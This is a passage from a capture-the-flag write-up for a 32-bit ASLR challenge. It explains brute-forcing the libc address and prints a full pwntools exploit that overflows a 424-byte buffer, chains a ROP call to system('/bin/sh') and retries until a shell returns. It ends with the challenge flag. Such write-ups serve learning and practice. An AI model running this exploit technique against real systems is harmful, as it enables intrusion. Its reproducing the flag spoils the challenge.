bytes\n", v1); memset(buf, 0, 0x18Cu); if ( v1 ) { v2 = 0; do { v3 = read(0, &buf[v2], v1); if ( v3 <= 0 ) return 0; v2 += v3; v1 -= v3; } while ( v1 ); } printf("Received %s\n", buf); return 0; } ``` We have no leaks at all, which is an issue since we need them to build our ROP chain. The same defenses exist in this binary as in the other one, so how do we call `system("/bin/sh)"` now? ## Brute force This binary is a 32-bit binary, and library addresses even with ASLR always start with `0xf7`. For example here's two different address of libc's `exit` function I got through GDB when running this binary locally. ``` 0xf7c3a440 0xf7d7a160 ``` So the last 3 bytes are different, and we know that the address is also divisble by 16, so the last number (in hex) is "0". This is due to Linux's 16-byte alignment for 32-bit programs. So effectively we don't know 20 bits of the address of the exit function, or in other words the chance we get the address right is $\frac{1}{2^{20}}$. That sounds small, but we can run our exploit several times, which increases the change we get right **at least** once, since that's all we care about. So we're gonna build our exploit very similar to how we did the previous one, except instead of using a leak, we're just going to guess the address of the exit function and run the exploit several times until it works. Last thing we need is the amount of bytes to input in the buffer, which we find through GDB to be 424, which is the difference between the buffer address and the return address, which again doesn't change at all. We also are assuming the libc the server is using for this binary is the same for the previous one, since the machine seems to be the same. ## exploit.py ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host vishwa.challenges.battelle.org --port 8153 challenge_aslr_hard from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('challenge_aslr_hard') if args.LOCAL: # local libc libc = ELF("/lib/i386-linux-gnu/libc.so.6") else: # server's libc (doesn't change) libc = ELF('./libc6-i386_2.27-3ubuntu1.6_amd64.so') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or 'vishwa.challenges.battelle.org' port = int(args.PORT or 8153) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' b *GetData+247 continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: PIE enabled leaked_libc_addr = 0xf7d7a160 #0xf7c3a440 # just guessing we're gonna brute force anyways libc.address = leaked_libc_addr - libc.symbols["exit"] rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh\x00'))) raw_rop = rop.chain() # 0xffffcf14 buffer addr # 0xffffd0bc ret addr BUFFER_LENGTH = 424 payload = b"A"*BUFFER_LENGTH payload += raw_rop while True: try: io = start() io.recvuntil(b"Please provide length of incoming data\n") io.sendline(str(BUFFER_LENGTH + len(raw_rop))) io.recvuntil(b" bytes\n") # send payload io.send(payload) io.recvline() io.sendline("cat /home/aslrhard3/flag") flag_maybe = io.recvline() if b"The flag is:" in flag_maybe: print(flag_maybe) break except EOFError: io.close() continue io.interactive() ``` The way we handle if our guess for the libc's exit address worked is through a while loop wrapped our a try catch block. These lines: ```python io.sendline("cat /home/aslrhard3/flag") flag_maybe = io.recvline() if b"The flag is:" in flag_maybe: print(flag_maybe) break ``` Won't throw an EOFError if we successfully found the correct address of libc's exit function, since we're running a command in the shell we got. We're just checking in the output if it matches the flag format we saw earlier as an extra condition in case we get some other random messages. So once we see the flag message we break out of the while loop. ``` b'The flag is: 8b3be3058a3aaba9485024ba1e9b583efdf79f46dcf408f723facd0bd623042d\n' ``` ## Flag ``` 8b3be3058a3aaba9485024ba1e9b583efdf79f46dcf408f723facd0bd623042d ```